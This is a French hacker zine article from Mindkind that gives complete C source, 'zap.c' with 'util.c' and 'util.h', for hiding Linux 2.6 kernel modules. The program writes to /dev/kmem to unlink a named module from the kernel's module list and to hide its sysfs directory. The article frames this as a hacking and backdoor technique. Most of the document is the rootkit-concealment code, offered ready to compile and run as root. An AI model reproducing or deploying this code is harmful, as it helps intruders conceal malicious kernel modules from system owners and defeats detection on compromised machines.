___ ___ ____ ___ __ _______ __ __ ______ | | | | | ; | | | |___ | |___ | | | .------. | | .- ---' , '-----'------'-----'--- ----'------- - -- - - - - ' _|________|__ ¦ | mkd.14 LKM hide en 2.6 : aka 'cachez ces modules que je ne saurais voir' ' _ ___ __ ____ : | | '-----.------- .-----.------.-----| |----- - ------- - - - ---- - - - ____| |____ |______| ____| |____ | | | | |___ _ ________ ___|___ ____|_________ _______ | Intro ¯¯¯¯¯ Cet article démontre un code en C qui permet de cacher des LKM dans Linux 2.6. Il n'y a pas réellement de code à ce sujet de disponible sur le web pour 2.6 à l'instant même. Pour ceux qui voudrait savoir comment tout ça fonctionne exactement, on vous suggère de lire Documentation/kobject.txt Documentation/filesystems/sysfs.txt Dans le répertoire de votre kernel 2.6 favoris. Pour ceux qui ont aucune batarde d'idée de quoi nous parlons présentement (et/ou son rapport avec le hacking), retourner jouer à Counter-Strike ou aller lire l'article de agonn (Backdoors demystified) dans Brainfaktor #1 ( http://brainfaktor.org/ ). Concepts ¯¯¯¯¯¯¯¯ Le kernel Linux 2.6 garde en mémoire une liste chainée qui contient tous les modules. Il nous suffit donc de trouver le commencement de la liste dans le kernel, de suivre la liste, de trouver le module en question et de l'enlever de la liste en interchangeant les pointeurs perv et next des modules adjacents a celui qu'on veut hider : lprev.next = lh.next; lnext.prev = lh.prev; kwrite(f, &lprev, sizeof(modules), (unsigned long)lh.prev); kwrite(f, &lnext, sizeof(modules), (unsigned long)lh.next); Notre implémentation est en faite un "hider" qui s'occupe de chercher pour un nom de module. Cette technique peut être aussi utiliser par le module lui même pour se cacher lui même. Cette technique n'est pas parfaite, car en fait on peut trouver facilement le module en regardant dans sysfs avec "mount -t sysfs none /sys". sysfs étant un file system garder seulement en RAM, nous pouvons donc l'enlever de la liste de sysfs en enlevant son directory de la structure en mémoire (dcache) : kread(f, &d_flag, sizeof(d_flag), (unsigned long)k.dentry + sizeof(int)); d_flag |= 0x0010; kwrite(f, &d_flag, sizeof(d_flag), (unsigned long)k.dentry + sizeof(int)); De plus, il y a toujours moyen d'aller chercher en RAM pour le nom du module dans la structure kobject: struct kobject { char name[KOBJ_NAME_LEN]; atomic_t refcount; struct list_head entry; struct kobject * parent; struct kset * kset; struct kobj_type * ktype; struct dentry * dentry; }; Si vous voulez vous amusez vous pouvez donc gosser un petit code qui search en mémoire pour les kobject et qui regarde les name. Pratique ¯¯¯¯¯¯¯¯ Évidemment essayer pas de rouler ce code la sur du 2.4, ça marche pas pentoute. Si vous voulez du 2.4 aller voir sur le web tel que : http://www.freemode.net/archives/000137.html Avant de compiler, il faudrait aussi que vous ajuster KERNEL_START et KERNEL_END avec votre System.map : startup_32 == KERNEL_START _end == KERNEL_END Si vous prenez ces valeurs la, ca devrait marcher. Le code est pour x86, et évidamment vous devez être root pour l'exécuter. Si grsecurity est installé et configuré pour protéger l'écriture du /dev/kmem, le code ne fonctionnera pas. Le code ¯¯¯¯¯¯¯ Pour bien comprendre on vous conseil de lire le code (qui est très bien undocummented!). Le zap.c contient les parties les plus intéressantes, util.c contient seulement les fonctions pour jouer dans le kernel. Les valeurs KERNEL_START et KERNEL_END sont dans util.h Pour compiler, utilisé simplement "gcc -o zap zap.c util.c". ----------- 8< cut here ---------[ zap.c ]--------- cut here 8< ----------- #include "util.h" void usage(); int main(int argc, char *argv[]) { int f, c; unsigned long cpt, mod, kob; unsigned int d_flag; struct list_head lh, lprev, lnext; struct kobject k; modName = NULL; name = NULL; while ((c = getopt (argc, argv, "b:e:m:")) != -1) { switch(c) { case 'b': break; case 'e': break; case 'm': modName = (char *) malloc(strlen(optarg) + 1); strncpy(modName, optarg, strlen(optarg)); break; default: usage(); abort(); } } if (modName == NULL) { usage(); abort(); } f = open("/dev/kmem", O_RDWR); cpt = KERNEL_START; name = (char *) malloc(strlen(modName) + 1); while ((kread(f, &lh, sizeof(modules), cpt)) == sizeof(modules) && cpt < KERNEL_END) { if (verify(f, cpt, cpt, (unsigned long)lh.next) == 1) { if ((mod = findMod(f, cpt, (long)lh.next)) > 0) { kread(f, &kob, sizeof(kob), (unsigned long)(mod + sizeof(modules) + MODULE_NAME_LEN)); kread(f, &k, sizeof(k), (unsigned long)kob); if (k.dentry != NULL) { kread(f, &d_flag, sizeof(d_flag), (unsigned long)k.dentry + sizeof(int)); d_flag |= 0x0010; kwrite(f, &d_flag, sizeof(d_flag), (unsigned long)k.dentry + sizeof(int)); } kread(f, &lh, sizeof(modules), mod); kread(f, &lprev, sizeof(modules), (unsigned long)lh.prev); kread(f, &lnext, sizeof(modules), (unsigned long)lh.next); if (lh.prev == lh.next) { lprev.next = lh.next; lprev.prev = lh.next; kwrite(f, &lprev, sizeof(modules), (unsigned long)lh.next); } else { lprev.next = lh.next; lnext.prev = lh.prev; kwrite(f, &lprev, sizeof(modules), (unsigned long)lh.prev); kwrite(f, &lnext, sizeof(modules), (unsigned long)lh.next); } } } cpt++; } if (name != NULL) free(name); if (modName != NULL) free(modName); return 0; } void usage() { printf("Usage:zap -m ModuleName\n"); } ----------- 8< cut here ---------[ EOF ]--------- cut here 8< ----------- ----------- 8< cut here ---------[ util.c ]--------- cut here 8< ----------- #include "util.h" int kread(int f, void *p, int size, unsigned long offset) { lseek(f, offset, SEEK_SET); return read(f, p, size); } int kwrite(int f, void *p, int size, unsigned long offset) { lseek(f, offset, SEEK_SET); return write(f, p, size); } int verify(int f, unsigned long start, unsigned long cur, unsigned long next) { struct list_head lh; if (kread(f, &lh, sizeof(modules), next) != sizeof(modules)) return -1; if ((long)lh.prev == cur) { if ((long)lh.next == start) return 1; else return verify(f, start, next, (long)lh.next); } else return 0; } unsigned long findMod(int f, unsigned long start, unsigned long cur) { struct list_head lh; if (cur == start) return 0; if (kread(f, &lh, sizeof(modules), cur) != sizeof(modules)) return -1; kread(f, name, strlen(modName),(long)(cur + sizeof(modules))); if (strncmp(name, modName, strlen(modName)) == 0) return cur; else return findMod(f, start, (long)lh.next); } ----------- 8< cut here ---------[ EOF ]--------- cut here 8< ----------- ----------- 8< cut here ---------[ util.h ]--------- cut here 8< -------- #include #include #include #include #include struct list_head { struct list_head *next, *prev; }; #define KERNEL_START 0xc0100000 #define KERNEL_END 0xc0424000 #define KOBJ_NAME_LEN 20 #define LIST_HEAD_INIT(name) { &(name), &(name) } #define LIST_HEAD(name) \ struct list_head name = LIST_HEAD_INIT(name) #define MODULE_NAME_LEN (64 - sizeof(unsigned long)) static LIST_HEAD(modules); char *name; char *modName; struct dentry { int padding; unsigned int d_flags; }; struct kobject { char * k_name; char name[KOBJ_NAME_LEN]; char padding[24]; struct dentry * dentry; }; enum module_state { MODULE_STATE_LIVE, MODULE_STATE_COMING, MODULE_STATE_GOING, }; struct module_kobject { struct kobject kobj; unsigned int num_attributes; }; struct module { enum module_state state; struct list_head list; char name[MODULE_NAME_LEN]; struct module_kobject *mkobj; }; int verify(int, unsigned long, unsigned long, unsigned long); int kwrite(int, void *, int,unsigned long); int kread(int, void *, int, unsigned long); unsigned long findMod(int, unsigned long, unsigned long); ----------- 8< cut here ---------[ EOF ]--------- cut here 8< -------------- The end ¯¯¯¯¯¯¯ On vous invite à envoyer vos comments/statèges pour trouver le module/solutions additionnelles à mk@mindkind.org. - The 30 minutes lemurians from Mindkind that will code for p0rn (thx Zarath) .----------------------------------------------- - - --- - --- | Mindkind [mk at mindkind dot org] www.mindkind.org '------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -